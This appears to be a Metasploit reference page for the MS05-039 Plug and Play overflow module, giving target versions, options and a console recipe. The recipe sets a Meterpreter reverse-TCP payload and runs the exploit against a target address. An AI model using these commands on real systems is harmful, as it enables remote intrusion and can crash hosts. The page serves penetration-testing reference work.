Microsoft Plug and Play Service Overflow
This module exploits a stack buffer overflow in the Windows Plug and Play service. This vulnerability can be exploited on Windows 2000 without a valid user account. NOTE: Since the PnP service runs inside the service.exe process, a failed exploit attempt will cause the system to automatically reboot.
Exploit Rank
- Good
Exploit Authors
- hdm < hdm [at] metasploit.com >
- cazz < bmc [at] shmoo.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP0-SP4 (default)
- 1 - Windows 2000 SP4 French
- 2 - Windows 2000 SP4 Spanish
- 3 - Windows 2000 SP4 English/French/German/Dutch
- 4 - Windows 2000 SP0-SP4 German
- 5 - Windows 2000 SP0-SP4 Italian
- 6 - Windows XP SP1 English
- 7 - Windows XP SP2 English (Requires Admin)
- 8 - Windows Server 2003 SP0 English (Requires Admin)
- 9 - Windows Server 2003 SP1 English (Requires Admin)
Exploit Development
Similar Exploit Modules
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > show payloads
msf exploit(ms05_039_pnp) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms05_039_pnp) > set LHOST [MY IP ADDRESS]
msf exploit(ms05_039_pnp) > set RHOST [TARGET IP]
msf exploit(ms05_039_pnp) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > show payloads
msf exploit(ms05_039_pnp) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms05_039_pnp) > set LHOST [MY IP ADDRESS]
msf exploit(ms05_039_pnp) > set RHOST [TARGET IP]
msf exploit(ms05_039_pnp) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| SMBPIPE | The pipe name to use (browser, srvsvc, wkssvc, ntsvcs) (default: browser) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |